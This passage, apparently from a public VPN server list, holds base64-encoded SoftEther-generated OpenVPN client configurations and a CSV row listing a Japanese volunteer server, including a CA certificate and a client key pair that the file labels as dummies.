W4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0aGUgImRhdGEtY2lwaGVycyIgbGluZS4NCg0KY2lwaGVyIEFFUy0xMjgtQ0JDDQpkYXRhLWNpcGhlcnMgQUVTLTEyOC1DQkMNCmF1dGggU0hBMQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgT3RoZXIgcGFyYW1ldGVycyBuZWNlc3NhcnkgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlci4NCiMgDQojIEl0IGlzIG5vdCByZWNvbW1lbmRlZCB0byBtb2RpZnkgaXQgdW5sZXNzIHlvdSBoYXZlIGEgcGFydGljdWxhciBuZWVkLg0KDQpyZXNvbHYtcmV0cnkgaW5maW5pdGUNCm5vYmluZA0KcGVyc2lzdC1rZXkNCnBlcnNpc3QtdHVuDQpjbGllbnQNCnZlcmIgMw0KI2F1dGgtdXNlci1wYXNzDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2VydGlmaWNhdGUgZmlsZSBvZiB0aGUgZGVzdGluYXRpb24gVlBOIFNlcnZlci4NCiMgDQojIFRoZSBDQSBjZXJ0aWZpY2F0ZSBmaWxlIGlzIGVtYmVkZGVkIGluIHRoZSBpbmxpbmUgZm9ybWF0Lg0KIyBZb3UgY2FuIHJlcGxhY2UgdGhpcyBDQSBjb250ZW50cyBpZiBuZWNlc3NhcnkuDQojIFBsZWFzZSBub3RlIHRoYXQgaWYgdGhlIHNlcnZlciBjZXJ0aWZpY2F0ZSBpcyBub3QgYSBzZWxmLXNpZ25lZCwgeW91IGhhdmUgdG8NCiMgc3BlY2lmeSB0aGUgc2lnbmVyJ3Mgcm9vdCBjZXJ0aWZpY2F0ZSAoQ0EpIGhlcmUuDQoNCjxjYT4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJRmF6Q0NBMU9nQXdJQkFnSVJBSUlRejdEU1FPTlpSR1BndTJPQ2l3QXdEUVlKS29aSWh2Y05BUUVMQlFBdw0KVHpFTE1Ba0dBMVVFQmhNQ1ZWTXhLVEFuQmdOVkJBb1RJRWx1ZEdWeWJtVjBJRk5sWTNWeWFYUjVJRkpsYzJWaA0KY21Ob0lFZHliM1Z3TVJVd0V3WURWUVFERXd4SlUxSkhJRkp2YjNRZ1dERXdIaGNOTVRVd05qQTBNVEV3TkRNNA0KV2hjTk16VXdOakEwTVRFd05ETTRXakJQTVFzd0NRWURWUVFHRXdKVlV6RXBNQ2NHQTFVRUNoTWdTVzUwWlhKdQ0KWlhRZ1UyVmpkWEpwZEhrZ1VtVnpaV0Z5WTJnZ1IzSnZkWEF4RlRBVEJnTlZCQU1UREVsVFVrY2dVbTl2ZENCWQ0KTVRDQ0FpSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnSVBBRENDQWdvQ2dnSUJBSzNvSkhQMEZEZnptNTRyVnlnYw0KaDc3Y3Q5ODRrSXh1UE9aWG9IajNkY0tpL3ZWcWJ2WUFUeWpiM21pR2JFU1R0ckZqL1JRU2E3OGYwdW94bXlGKw0KMFRNOHVrajEzWG5mczdqL0V2RWhta3ZCaW9aeGFVcG1abXlQZmp4d3Y2MHBJZ2J6NU1EbWdLN2lTNCszbVg2VQ0KQTUvVFI1ZDhtVWdqVStnNHJrOEtiNE11MFVsWGpJQjB0dG92MERpTmV3TndJUnQxOGpBOCtvK3UzZHBqcStzVw0KVDhLT0VVdCt6d3ZvLzdWM0x2U3llMHJnVEJJbERIQ05BeW1nNFZNazdCUFo3aG0vRUxOS2pEK0pvMkZSM3F5SA0KQjVUMFkzSHNMdUp2VzVpQjRZbGNOSGxzZHU4N2tHSjU1dHVrbWk4bXhkQVE0UTdlMlJDT0Z2dTM5NmozeCtVQw0KQjVpUE5naVY1K0kzbGcwMmRaNzdEbkt4SFp1OEEvbEpCZGlCM1FXMEt0WkI2YXdCZHBVS0Q5amYxYjBTSHpVdg0KS0JkczBwakJxQWxrZDI1SE43ck9yRmxlYUoxL2N0YUp4UVpCS1Q1WlB0MG05U1RKRWFkYW8weEFIMGFobWJXbg0KT2xGdWhqdWVmWEtuRWdWNFdlMCtVWGdWQ3dPUGpkQXZCYkkrZTBvY1MzTUZFdnpHNnVCUUUzeERrM1N6eW5Ubg0Kamg4QkNOQXcxRnR4TnJRSHVzRXdNRnhJdDRJN21LWjlZSXFpb3ltQ3pMcTlnd1Fib29NRFFhSFdCZkVid3Jidw0KcUh5R08wYW9TQ3FJM0hhYWRyOGZhcVU5R1kvck9QTmszc2dyRFFvby8vZmI0aFZDMUNMUUoxM2hlZjRZNTNDSQ0KclU3bTJZczZ4dDBuVVc3L3ZHVDFNME5QQWdNQkFBR2pRakJBTUE0R0ExVWREd0VCL3dRRUF3SUJCakFQQmdOVg0KSFJNQkFmOEVCVEFEQVFIL01CMEdBMVVkRGdRV0JCUjV0Rm5tZTdibDVBRnpnQWlJeUJwWTl1bWJiakFOQmdrcQ0KaGtpRzl3MEJBUXNGQUFPQ0FnRUFWUjlZcWJ5eXFGRFFETEhZR21rZ0p5a0lyR0YxWElwdStJTGxhUy9WOWxaTA0KdWJoekVGblRJWmQrNTB4eCs3TFNZSzA1cUF2cUZ5RldoZkZRRGxucnp1Qlo2YnJKRmUrR25ZK0VnUGJrNlpHUQ0KM0JlYllodEY4R2FWMG54dnd1bzc3eC9QeTlhdUovR3BzTWl1L1gxK212b2lCT3YvMlgvcWtTc2lzUmNPai9LSw0KTkZ0WTJQd0J5VlM1dUNiTWlvZ3ppVXd0aER5QzMrNldWd1c2TEx2M3hMZkhUanVDdmpISUluTnprdEhDZ0tRNQ0KT1JBekk0Sk1QSitHc2xXWUhiNHBob3dpbTU3aWF6dFhPb0p3VGR3Sng0bkxDZ2ROYk9oZGpzbnZ6cXZIdTdVcg0KVGtYV1N0QW16T1Z5eWdocXBaWGpGYUgzcE8zSkxGK2wrLytzS0FJdXZ0ZDd1K054ZTVBVzB3ZGVSbE44TndkQw0Kak5QRWxwelZtYlVxNEpVYWdFaXVURGtIenN4SHBGS1ZLN3E0KzYzU00xTjk1UjFOYmRXaHNjZENiK1pBSnpWYw0Kb3lpM0I0M25qVE9RNXlPZisxQ2NlV3hHMWJRVnM1WnVmcHNNbGpxNFVpMC8xbHZoK3dqQ2hQNGtxS09KMnF4cQ0KNFJncXNhaERZVnZUSDl3N2pYYnlMZWlOZGQ4WE0ydzlVL3Q3eTBGZi85eWkwR0U0NFphNHJGMkxOOWQxMVRQQQ0KbVJHdW5VSEJjbldFdmdKQlFsOW5KRWlVMFpzbnZnYy91YmhQZ1hSUjRYcTM3WjBqNHI3ZzFTZ0VFend4QTU3ZA0KZW15UHhnY1l4bi9lUjQ0L0tKNEVCcytsVkRSM3ZleUptK2tYUTk5YjIxLytqaDVYb3MxQW5YNWlJdHJlR0NjPQ0KLS0tLS1FTkQgQ0VSVElGSUNBVEUtLS0tLQ0KDQo8L2NhPg0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGNsaWVudCBjZXJ0aWZpY2F0ZSBmaWxlIChkdW1teSkuDQojIA0KIyBJbiBzb21lIGltcGxlbWVudGF0aW9ucyBvZiBPcGVuVlBOIENsaWVudCBzb2Z0d2FyZQ0KIyAoZm9yIGV4YW1wbGU6IE9wZW5WUE4gQ2xpZW50IGZvciBpT1MpLA0KIyBhIHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlIGFuZCBwcml2YXRlIGtleSBtdXN0IGJlIGluY2x1ZGVkIG9uIHRoZQ0KIyBjb25maWd1cmF0aW9uIGZpbGUgZHVlIHRvIHRoZSBsaW1pdGF0aW9uIG9mIHRoZSBjbGllbnQuDQojIFNvIHRoaXMgc2FtcGxlIGNvbmZpZ3VyYXRpb24gZmlsZSBoYXMgYSBkdW1teSBwYWlyIG9mIGNsaWVudCBjZXJ0aWZpY2F0ZQ0KIyBhbmQgcHJpdmF0ZSBrZXkgYXMgZm9sbG93cy4NCg0KPGNlcnQ+DQotLS0tLUJFR0lOIENFUlRJRklDQVRFLS0tLS0NCk1JSUN4akNDQWE0Q0FRQXdEUVlKS29aSWh2Y05BUUVGQlFBd0tURWFNQmdHQTFVRUF4TVJWbEJPUjJGMFpVTnMNCmFXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFFNQjRYRFRFek1ESXhNVEF6TkRrME9Wb1hEVE0zTURFeE9UQXoNCk1UUXdOMW93S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOc2FXVnVkRU5sY25ReEN6QUpCZ05WQkFZVEFrcFENCk1JSUJJakFOQmdrcWhraUc5dzBCQVFFRkFBT0NBUThBTUlJQkNnS0NBUUVBNWgybGdRUVlVandvS1lKYnpWWkENCjVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVJ3UmVOVmE5ZkRSRkxSQmhjSVRPbHYzRkJjVzNFOGgxVXM3UkQNCjRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmN6VzRPQ0gxUFpSWldLcUR0amxOY2E5QUY4YTY1alRtbER4Q1ENCkNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2k1NW9maGFOQVlNUGlIN1Y4KzFnNjZwR0hYQW9XSzZBUVZINjcNClhDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4vMnRIa2NhTEx5TnR5d3hWUFJTc1JoNDgwamp1MGZjQ3N2NmgNCnAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkFtcnNiWW5qaWdSdm5QcVgxUk5KVWJpOUZwNkMyYy9ISUZKR0QNCnl3SURBUUFCTUEwR0NTcUdTSWIzRFFFQkJRVUFBNElCQVFDaE81aGdjdy80b1dmb0VGTHU5a0JhMUIvL2t4SDgNCmhRa0NoVk5uOEJSQzdZMFVSUWl0UGwzREtFZWQ5VVJCRGRnMktPQXo3N2JiNkVOUGlsaUQrYTM4VUpISVJNcWUNClVCSGhsbE9ISXp2RGhIRmJhb3ZBTEJRY2VlQnpka1F4c0tRRVNLbVFtUjgzMjk1MFVDb3ZveVJCNjFVeUFWN2gNCittWmhZUEdSS1hLU0pJNnMwRWdnL0NyaStDd2s0YmpKZnJiNWhWc2UxMXloNEQ5TUhod1NmQ09IKzB6NGhQVVQNCkZrdTdkR2F2VVJPNVNWeE1uL3NMNkVuNUQrb1NlWGthZEhwRHMrQWlyeW0yWUhoMTVoMCtqUFNPb1I2eWlWcC8NCjZ6WmVaa3JONDNrdVM3M0twS0RGamZGUGg4dDRyMWdPSWp0dGtOY1FxQmNjdXNucGxRN0hKcHNrDQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2VydD4NCg0KPGtleT4NCi0tLS0tQkVHSU4gUlNBIFBSSVZBVEUgS0VZLS0tLS0NCk1JSUVwQUlCQUFLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQTVWY0lHZDVvdFBjL3FaUk10MEtJdENGQTBzOVINCndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRDRXOEdtSmU4emFwSm5Mc0QzOU9TTVJDelpKbmMNCnpXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUUNqbnRMSVdrNU9MTFZrRnQ5L3RTY2MxR0R0Y2kNCjU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2N1hDS0puR0I1bmxRK0hzTVlQVi9PNDlMZDkxWk4NCi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aHAvMHlYblRCLy9tV3V0QkdwZFVsSWJ3aUlUYkENCm1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRHl3SURBUUFCQW9JQkFFUlY3WDVBdnhBOHVSaUsNCms4U0lwc0QwZFgxcEpPTUl3YWtVVnl2YzRFZk4wRGhLUk5iNHJZb1NpRUdUTHl6THB5QmMvQTI4RGxrbTVlT1kNCmZqelhmWWtHdFlpL0Z0eGtnM085dmNyTVE0KzZpK3VHSGFJTDJyTCtzNE1yZk84djF4djYrV2t5MzNFRUdDb3UNClFpd1ZHUkZRWG5Sb1E2Mk5CQ0ZiVU5MaG1Yd2RqMWFrWnpMVTRwNVI0ekEzUWhkeHdFSWF0Vkx0MCs3b3dMUTMNCmxQOHNmWGhwcFBPWGpUcU1ENFFrWXd6UEFhOC96RjdhY240a3J5clVQN1E2UEFmZDB6RVZxTnk5WkNaOWZmaG8NCnpYZWRGajQ4NklGb2M1Z25UcDJONmpzblZqNExDR0lobFZIbFlHb3pLS0ZxSmNRVkdzSENxcTFvejJ6alc2TFMNCm9SWUlIZ0VDZ1lFQTh6WnJrQ3dOWVNYSnVPREozbS9oT0xWeGN4Z0p1d1hvaUVyV2QwRTQydlBhbmpqVk1obnQNCktZNWw4cUdNSjZGaEs5TFl4MnFDcmYvRTBYdFVBWjJ3VnEzT1JUeUduc01XcmU5dExZczU1WCtaTjEwVGM3NXoNCjRoYWNiVTBocUtOMUhpRG1zTVJZMy8yTmFaSG95N01LbndKSkJhRzQ4bDlDQ1RsVndNSG9jSUVDZ1lFQThqYnkNCmRHanhUSCs2WEhXTml6YjVTUmJaeEFueUVlSmVSd1RNaDBnR3p3R1BwSC9zWllHenl1MFN5U1hXQ25aaDNSZ3ENCjV1TGxOeHRyWHJsalpseWkyblFkUWdzcTJZcldVczAremdVKzIydVFzWnBTQWZ0bWhWcnR2ZXQ2TWpWamJCeVkNCkRBRGNpRVZVZEpZSVhrK3FuRlVKeWVyb0xJa1RqN1dZS1o2Umprc0NnWUJvQ0ZJd1JEZWc0Mm9LODlSRm1uT3INCkx5bU5BcTQrMm9NaHNXbFZiNGVqV0lXZUFrOW5jK0dYVWZyWHN6UmhTMDFtVW5VNXI1eWdVdlJjYXJWL1QzVTcNClRuTVorSTdZNERnV1JJRGQ1MXpuaHhJQnRZVjVqL0MvdDg1SGpxT2tIKzhiNlJUa2JjaGFYM21hdTdmcFVmZHMNCkZxMG5oSXE0MmZoRU84c3JmWVl3Z1FLQmdRQ3loaTFOLzh0YVJ3cGsrMy9JREV6UXdqYmZkelVrV1dTRGs5WHMNCkgvcGt1UkhXZlRNUDNmbFdxRVlnVy9MVzQwcGVXMkhEcTVpbWRWOCtBZ1p4ZS9YTWJhamk5TGd3ZjFSWTAwNW4NCkt4YVpRejd5cUh1cFdsTEdGNjhEUEh4a1pWVlNhZ0RuVi9zenRXWDZTRnNDcUZWbnhJWGlmWEdDNGNXNU5tOWcNCnZhOHE0UUtCZ1FDRWhMVmVVZmR3S3ZrWjk0Zy9HRno3MzFaMmhyZFZoZ01aYVUvdTZ0MFY5NStZZXpQTkNRWkINCndtRTlNbWxicTFlbURlUk9pdmpDZm9HaFIza1pYVzFwVEtsTGg2Wk1VUVVPcHB0ZFh2YThYeGZvcVF3YTNlbkENCk03bXVCYkYwWE43Vk84MGlKUHYrUG1JWmRFSUFrcHdLZmkyMDFZQitCYWZDSXVHeElGNTBWZz09DQotLS0tLUVORCBSU0EgUFJJVkFURSBLRVktLS0tLQ0KDQo8L2tleT4NCg0K +vpn547356845,115.30.157.220,1116798,4,59421627,Japan,JP,27,320446195,82398,7336246717117,2weeks,DESKTOP-MMMBGVN's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMTUuMzAuMTU3LjIyMCAxMzk4DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW